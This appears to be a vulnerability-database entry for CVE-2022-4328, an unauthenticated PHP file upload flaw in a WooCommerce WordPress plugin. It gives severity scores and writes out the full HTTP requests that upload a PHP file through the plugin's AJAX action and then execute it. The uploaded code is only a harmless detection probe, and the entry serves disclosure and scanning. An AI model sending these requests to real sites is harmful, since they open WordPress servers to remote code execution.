| Title | WooCommerce Checkout Field Manager < 18.0 - Arbitrary File Upload |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Unauthenticated attackers can upload arbitrary PHP files through the cfom_upload_file AJAX action without validation, achieving remote code execution on the WordPress server and potentially compromising the entire WooCommerce installation. |
| Remediation | Fixed in version 18.0 |
| CVSS Score | 9.8 |
| EPSS Score | 0.82956 |
| CVE ID | CVE-2022-4328 |
| CWE ID | CWE-434 |
| Tags | cve2022 cve wp n-media-woocommerce-checkout-fields wpscan rce wordpress wp-plugin intrusive najeebmedia fileupload vkev vuln |
The WooCommerce Checkout Field Manager WordPress plugin before 18.0 does not validate files to be uploaded, which could allow unauthenticated attackers to upload arbitrary files such as PHP on the server.
POST /wp-admin/admin-ajax.php?action=cfom_upload_file&name=38FDNRMPKrRLjp3Ex4QMwG8batz.pHp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0
Connection: close
Content-Length: 276
Content-Type: multipart/form-data; boundary=------------------------22728be7b3104597
Accept-Encoding: gzip
--------------------------22728be7b3104597
Content-Disposition: form-data; name="file"; filename="38FDNRMPKrRLjp3Ex4QMwG8batz.php"
Content-Type: application/octet-stream
<?php echo md5("CVE-2022-4328");unlink(__FILE__);?>
--------------------------22728be7b3104597--
GET /wp-content/uploads/cfom_files/38fdnrmpkrrljp3ex4qmwg8batz.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4328.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-4328.pcap
N/AN/A